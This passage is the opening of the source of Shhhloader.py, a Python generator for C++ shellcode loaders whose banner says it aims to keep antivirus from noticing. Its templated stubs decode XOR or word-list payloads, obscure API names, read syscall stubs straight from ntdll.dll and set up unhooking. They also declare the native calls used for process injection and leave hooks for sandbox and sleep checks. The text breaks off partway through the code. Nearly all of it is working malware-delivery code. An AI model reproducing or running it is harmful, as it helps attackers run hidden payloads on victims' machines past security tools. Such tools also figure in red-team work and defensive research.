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Shhhloader.py
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#!/usr/bin/python3
#Created by Matthew David (@icyguider)
import sys, os, argparse, random, string, re, struct, pefile
import os.path
import urllib.request
inspiration = """
┳┻|
┻┳|
┳┻|
┻┳|
┳┻| _
┻┳| •.•) - Shhhhh, AV might hear us!
┳┻|⊂ﾉ
┻┳|
"""
stub = """
#define _WIN32_WINNT 0x0600
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include "skCrypter.h"
REPLACE_ME_SYSCALL_INCLUDE
#ifndef UNICODE
typedef std::string String;
#else
typedef std::wstring String;
#endif
REPLACE_UNHOOKING_DEFINTIONS
REPLACE_THREADLESS_DEFINITIONS
REPLACE_ME_SHELLCODE_VARS
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x100000000000
REPLACE_SAFEPRINT_FUNCTIONS
REPLACE_ME_SYSCALL_STUB_P1
REPLACE_SLEEP_CHECK
REPLACE_SANDBOX_CHECK
REPLACE_ME_NTDLL_UNHOOK
REPLACE_PROCESS_FUNCTIONS
REPLACE_THREADLESS_FUNCTIONS
REPLACE_DECODE_FUNCTION
int main()
{
REPLACE_STUB_METHOD
}
REPLACE_DLL_MAIN
"""
regularShellcode = """
REPLACE_ME_PAYLOAD
SIZE_T payload_len = sizeof(payload);
unsigned char* decoded = (unsigned char*)malloc(payload_len);
"""
wordShellcode = """
REPLACE_ME_WORDLIST
REPLACE_ME_FILEWORDS
int wordsLength = sizeof(words)/sizeof(words[0]);
SIZE_T payload_len = sizeof(filewords)/sizeof(filewords[0]);
unsigned char* decoded = (unsigned char*)malloc(payload_len);
"""
regularDecode = """
int deC(unsigned char payload[])
{
std::string key;
key = skCrypt("REPLACE_ME_KEY");
for (int i = 0; i < payload_len; i++)
{
decoded[i] = payload[i] ^ (int)key[i % key.length()];
}
key.clear();
return 0;
}
"""
wordDecode = """
int deC()
{
for (int i=0; i < payload_len; i++)
{
char* test = filewords[i];
int i2 = 0;
while (i2 < wordsLength)
{
if (words[i2] == test) {
break;
}
i2++;
}
char ci = i2;
decoded[i] = ci;
}
return 0;
}
"""
# This can be used to remove strings from memory. Currently breaks when used with ollvm
safePrint = """
int safe_print(auto msg)
{
printf(msg);
printf("\\n");
msg.clear();
return 0;
}
int safe_print(auto msg, NTSTATUS res)
{
printf(msg);
printf("0x%x\\n", res);
msg.clear();
return 0;
}
"""
GetSyscallStubP1 = """
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
int const SYSCALL_STUB_SIZE = 23;
using myNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
using myNtWriteVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
using myNtProtectVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
using myNtCreateThreadEx = NTSTATUS(NTAPI*)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PPS_ATTRIBUTE_LIST AttributeList);
using myNtResumeThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
using myNtWaitForSingleObject = NTSTATUS(NTAPI*)(HANDLE ObjectHandle, BOOLEAN Alertable, PLARGE_INTEGER TimeOut);
using myNtQueryInformationProcess = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
using myNtReadVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T BufferSize, PSIZE_T NumberOfBytesRead);
using myNtClose = NTSTATUS(NTAPI*)(HANDLE Handle);
using myNtOpenProcess = NTSTATUS(NTAPI*)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
using myNtQueueApcThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3);
using myNtAlertResumeThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
using myNtGetContextThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PCONTEXT ThreadContext);
using myNtSetContextThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PCONTEXT Context);
using myNtDelayExecution = NTSTATUS(NTAPI*)(BOOLEAN Alertable, PLARGE_INTEGER DelayInterval);
using myNtOpenSection = NTSTATUS(NTAPI*)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
myNtAllocateVirtualMemory NtAllocateVirtualMemory;
myNtWriteVirtualMemory NtWriteVirtualMemory;
myNtProtectVirtualMemory NtProtectVirtualMemory;
myNtCreateThreadEx NtCreateThreadEx;
myNtResumeThread NtResumeThread;
myNtWaitForSingleObject NewNtWaitForSingleObject;
myNtQueryInformationProcess NewNtQueryInformationProcess;
myNtReadVirtualMemory NtReadVirtualMemory;
myNtClose NewNtClose;
myNtOpenProcess NtOpenProcess;
myNtQueueApcThread NtQueueApcThread;
myNtAlertResumeThread NtAlertResumeThread;
myNtGetContextThread NtGetContextThread;
myNtSetContextThread NtSetContextThread;
myNtDelayExecution NtDelayExecution;
myNtOpenSection NtOpenSection;
myNtMapViewOfSection NtMapViewOfSection;
PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section)
{
return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);
}
BOOL GetSyscallStub(String functionName, PIMAGE_EXPORT_DIRECTORY exportDirectory, LPVOID fileData, PIMAGE_SECTION_HEADER textSection, PIMAGE_SECTION_HEADER rdataSection, LPVOID syscallStub)
{
PDWORD addressOfNames = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfNames), rdataSection);
PDWORD addressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfFunctions), rdataSection);
BOOL stubFound = FALSE;
for (size_t i = 0; i < exportDirectory->NumberOfNames; i++)
{
DWORD_PTR functionNameVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + addressOfNames[i], rdataSection);
DWORD_PTR functionVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + addressOfFunctions[i + 1], textSection);
LPCSTR functionNameResolved = (LPCSTR)functionNameVA;
if (strcmp(functionNameResolved, functionName.c_str()) == 0)
{
memcpy(syscallStub, (LPVOID)functionVA, SYSCALL_STUB_SIZE);
stubFound = TRUE;
}
}
return stubFound;
}
"""
GetSyscallStubP2 = """
DWORD tProcess2 = GetCurrentProcessId();
HANDLE pHandle2 = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess2);
HANDLE syscallStub_NtAllocateVirtualMemory = VirtualAllocEx(pHandle2, NULL, (SIZE_T)SYSCALL_STUB_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
HANDLE syscallStub_NtWriteVirtualMemory = static_cast<char*>(syscallStub_NtAllocateVirtualMemory) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtProtectVirtualMemory = static_cast<char*>(syscallStub_NtWriteVirtualMemory) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtCreateThreadEx = static_cast<char*>(syscallStub_NtProtectVirtualMemory) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtResumeThread = static_cast<char*>(syscallStub_NtCreateThreadEx) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtWaitForSingleObject = static_cast<char*>(syscallStub_NtResumeThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtQueryInformationProcess = static_cast<char*>(syscallStub_NtWaitForSingleObject) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtReadVirtualMemory = static_cast<char*>(syscallStub_NtQueryInformationProcess) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtClose = static_cast<char*>(syscallStub_NtReadVirtualMemory) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtOpenProcess = static_cast<char*>(syscallStub_NtClose) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtQueueApcThread = static_cast<char*>(syscallStub_NtOpenProcess) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtAlertResumeThread = static_cast<char*>(syscallStub_NtQueueApcThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtGetContextThread = static_cast<char*>(syscallStub_NtAlertResumeThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtSetContextThread = static_cast<char*>(syscallStub_NtGetContextThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtDelayExecution = static_cast<char*>(syscallStub_NtSetContextThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtOpenSection = static_cast<char*>(syscallStub_NtDelayExecution) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtMapViewOfSection = static_cast<char*>(syscallStub_NtOpenSection) + SYSCALL_STUB_SIZE;
char syscallStub[SYSCALL_STUB_SIZE] = {};
DWORD oldProtection = 0;
HANDLE file = NULL;
DWORD fileSize = NULL;
DWORD bytesRead = NULL;
LPVOID fileData = NULL;
// define NtAllocateVirtualMemory
NtAllocateVirtualMemory = (myNtAllocateVirtualMemory)syscallStub_NtAllocateVirtualMemory;
VirtualProtect(syscallStub_NtAllocateVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtWriteVirtualMemory
NtWriteVirtualMemory = (myNtWriteVirtualMemory)syscallStub_NtWriteVirtualMemory;
VirtualProtect(syscallStub_NtWriteVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtProtectVirtualMemory
NtProtectVirtualMemory = (myNtProtectVirtualMemory)syscallStub_NtProtectVirtualMemory;
VirtualProtect(syscallStub_NtProtectVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtCreateThreadEx
NtCreateThreadEx = (myNtCreateThreadEx)syscallStub_NtCreateThreadEx;
VirtualProtect(syscallStub_NtCreateThreadEx, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtResumeThread
NtResumeThread = (myNtResumeThread)syscallStub_NtResumeThread;
VirtualProtect(syscallStub_NtResumeThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtWaitForSingleObject
NewNtWaitForSingleObject = (myNtWaitForSingleObject)syscallStub_NtWaitForSingleObject;
VirtualProtect(syscallStub_NtWaitForSingleObject, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtQueryInformationProcess
NewNtQueryInformationProcess = (myNtQueryInformationProcess)syscallStub_NtQueryInformationProcess;
VirtualProtect(syscallStub_NtQueryInformationProcess, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtReadVirtualMemory
NtReadVirtualMemory = (myNtReadVirtualMemory)syscallStub_NtReadVirtualMemory;
VirtualProtect(syscallStub_NtReadVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtClose
NewNtClose = (myNtClose)syscallStub_NtClose;
VirtualProtect(syscallStub_NtClose, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtOpenProcess
NtOpenProcess = (myNtOpenProcess)syscallStub_NtOpenProcess;
VirtualProtect(syscallStub_NtOpenProcess, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtQueueApcThread
NtQueueApcThread = (myNtQueueApcThread)syscallStub_NtQueueApcThread;
VirtualProtect(syscallStub_NtQueueApcThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtAlertResumeThread
NtAlertResumeThread = (myNtAlertResumeThread)syscallStub_NtAlertResumeThread;
VirtualProtect(syscallStub_NtAlertResumeThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtGetContextThread
NtGetContextThread = (myNtGetContextThread)syscallStub_NtGetContextThread;
VirtualProtect(syscallStub_NtGetContextThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtSetContextThread
NtSetContextThread = (myNtSetContextThread)syscallStub_NtSetContextThread;
VirtualProtect(syscallStub_NtSetContextThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define syscallStub_NtDelayExecution
NtDelayExecution = (myNtDelayExecution)syscallStub_NtDelayExecution;
VirtualProtect(syscallStub_NtDelayExecution, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtOpenSection
NtOpenSection = (myNtOpenSection)syscallStub_NtOpenSection;
VirtualProtect(syscallStub_NtOpenSection, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtMapViewOfSection
NtMapViewOfSection = (myNtMapViewOfSection)syscallStub_NtMapViewOfSection;
VirtualProtect(syscallStub_NtMapViewOfSection, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
file = CreateFileA("c:\\\\windows\\\\system32\\\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
fileSize = GetFileSize(file, NULL);
fileData = HeapAlloc(GetProcessHeap(), 0, fileSize);
ReadFile(file, fileData, fileSize, &bytesRead, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileData;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)fileData + dosHeader->e_lfanew);
DWORD exportDirRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(imageNTHeaders);
PIMAGE_SECTION_HEADER textSection = section;
PIMAGE_SECTION_HEADER rdataSection = section;
for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
{
if (strcmp((CHAR*)section->Name, (CHAR*)".rdata") == 0) {
rdataSection = section;
break;
}
section++;
}
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)fileData + exportDirRVA, rdataSection);
String scall = std::string("N") + "t" + "A" + "l" + "l" + "o" + "c" + "a" + "t" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
BOOL StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtAllocateVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "W" + "r" + "i" + "t" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtWriteVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "P" + "r" + "o" + "t" + "e" + "c" + "t" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtProtectVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "C" + "r" + "e" + "a" + "t" + "e" + "T" + "h" + "r" + "e" + "a" + "d" + "E" + "x";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtCreateThreadEx);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "R" + "e" + "s" + "u" + "m" + "e" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtResumeThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "W" + "a" + "i" + "t" + "F" + "o" + "r" + "S" + "i" + "n" + "g" + "l" + "e" + "O" + "b" + "j" + "e" + "c" + "t";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtWaitForSingleObject);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "Q" + "u" + "e" + "r" + "y" + "I" + "n" + "f" + "o" + "r" + "m" + "a" + "t" + "i" + "o" + "n" + "P" + "r" + "o" + "c" + "e" + "s" + "s";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtQueryInformationProcess);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "R" + "e" + "a" + "d" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtReadVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "C" + "l" + "o" + "s" + "e";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtClose);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "O" + "p" + "e" + "n" + "P" + "r" + "o" + "c" + "e" + "s" + "s";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtOpenProcess);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "Q" + "u" + "e" + "u" + "e" + "A" + "p" + "c" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtQueueApcThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "A" + "l" + "e" + "r" + "t" + "R" + "e" + "s" + "u" + "m" + "e" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtAlertResumeThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "G" + "e" + "t" + "C" + "o" + "n" + "t" + "e" + "x" + "t" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtGetContextThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "S" + "e" + "t" + "C" + "o" + "n" + "t" + "e" + "x" + "t" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtSetContextThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "D" + "e" + "l" + "a" + "y" + "E" + "x" + "e" + "c" + "u" + "t" + "i" + "o" + "n";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtDelayExecution);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "O" + "p" + "e" + "n" + "S" + "e" + "c" + "t" + "i" + "o" + "n";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtOpenSection);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "M" + "a" + "p" + "V" + "i" + "e" + "w" + "O" + "f" + "S" + "e" + "c" + "t" + "i" + "o" + "n";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtMapViewOfSection);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
"""
NoSyscall_StubP1 = """
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
using myNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
using myNtWriteVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
using myNtProtectVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
using myNtCreateThreadEx = NTSTATUS(NTAPI*)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PPS_ATTRIBUTE_LIST AttributeList);
using myNtResumeThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
using myNtWaitForSingleObject = NTSTATUS(NTAPI*)(HANDLE ObjectHandle, BOOLEAN Alertable, PLARGE_INTEGER TimeOut);
using myNtQueryInformationProcess = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
using myNtReadVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T BufferSize, PSIZE_T NumberOfBytesRead);
using myNtClose = NTSTATUS(NTAPI*)(HANDLE Handle);
using myNtOpenProcess = NTSTATUS(NTAPI*)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
using myNtQueueApcThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3);
using myNtAlertResumeThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
using myNtGetContextThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PCONTEXT ThreadContext);
using myNtSetContextThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PCONTEXT Context);
using myNtDelayExecution = NTSTATUS(NTAPI*)(BOOLEAN Alertable, PLARGE_INTEGER DelayInterval);
using myNtOpenSection = NTSTATUS(NTAPI*)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
// Get API functions required to unhook.
char Nt[] = { 'n','t','d','l','l','.','d','l','l', 0 };
char NtMapVOS[] = { 'N','t','M','a','p','V','i','e','w','O','f','S','e','c','t','i','o','n', 0 };
char NtOpenSec[] = { 'N','t','O','p','e','n','S','e','c','t','i','o','n', 0 };
myNtMapViewOfSection NtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA(Nt), NtMapVOS));
myNtOpenSection NtOpenSection = (myNtOpenSection)(GetProcAddress(GetModuleHandleA(Nt), NtOpenSec));
// Init vars for other API functions, will define after we have a chance to unhook ntdll
myNtAllocateVirtualMemory NtAllocateVirtualMemory;
myNtWriteVirtualMemory NtWriteVirtualMemory;
myNtProtectVirtualMemory NtProtectVirtualMemory;
myNtCreateThreadEx NtCreateThreadEx;
myNtResumeThread NtResumeThread;
myNtWaitForSingleObject NewNtWaitForSingleObject;
myNtQueryInformationProcess NewNtQueryInformationProcess;
myNtReadVirtualMemory NtReadVirtualMemory;
myNtClose NewNtClose;
myNtOpenProcess NtOpenProcess;
myNtQueueApcThread NtQueueApcThread;
myNtAlertResumeThread NtAlertResumeThread;
myNtGetContextThread NtGetContextThread;
myNtSetContextThread NtSetContextThread;
myNtDelayExecution NtDelayExecution;
"""
NoSyscall_StubP2 = """
// Get API functions. These will have hooks in them unless unhooking is perfomed first.
String scall = std::string("N") + "t" + "A" + "l" + "l" + "o" + "c" + "a" + "t" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtAllocateVirtualMemory = (myNtAllocateVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "W" + "r" + "i" + "t" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtWriteVirtualMemory = (myNtWriteVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "P" + "r" + "o" + "t" + "e" + "c" + "t" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtProtectVirtualMemory = (myNtProtectVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "C" + "r" + "e" + "a" + "t" + "e" + "T" + "h" + "r" + "e" + "a" + "d" + "E" + "x";
NtCreateThreadEx = (myNtCreateThreadEx)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "R" + "e" + "s" + "u" + "m" + "e" + "T" + "h" + "r" + "e" + "a" + "d";
NtResumeThread = (myNtResumeThread)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "W" + "a" + "i" + "t" + "F" + "o" + "r" + "S" + "i" + "n" + "g" + "l" + "e" + "O" + "b" + "j" + "e" + "c" + "t";
NewNtWaitForSingleObject = (myNtWaitForSingleObject)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "Q" + "u" + "e" + "r" + "y" + "I" + "n" + "f" + "o" + "r" + "m" + "a" + "t" + "i" + "o" + "n" + "P" + "r" + "o" + "c" + "e" + "s" + "s";
NewNtQueryInformationProcess = (myNtQueryInformationProcess)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "R" + "e" + "a" + "d" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
NtReadVirtualMemory = (myNtReadVirtualMemory)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "C" + "l" + "o" + "s" + "e";
NewNtClose = (myNtClose)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "O" + "p" + "e" + "n" + "P" + "r" + "o" + "c" + "e" + "s" + "s";
NtOpenProcess = (myNtOpenProcess)(GetProcAddress(GetModuleHandleA(Nt), scall.c_str()));
scall = std::string("N") + "t" + "Q" + "u" + "e" + "u" + "e" + "A" + "p" + "c" + "T" + "h" + "r" + "e" + "a" + "d";
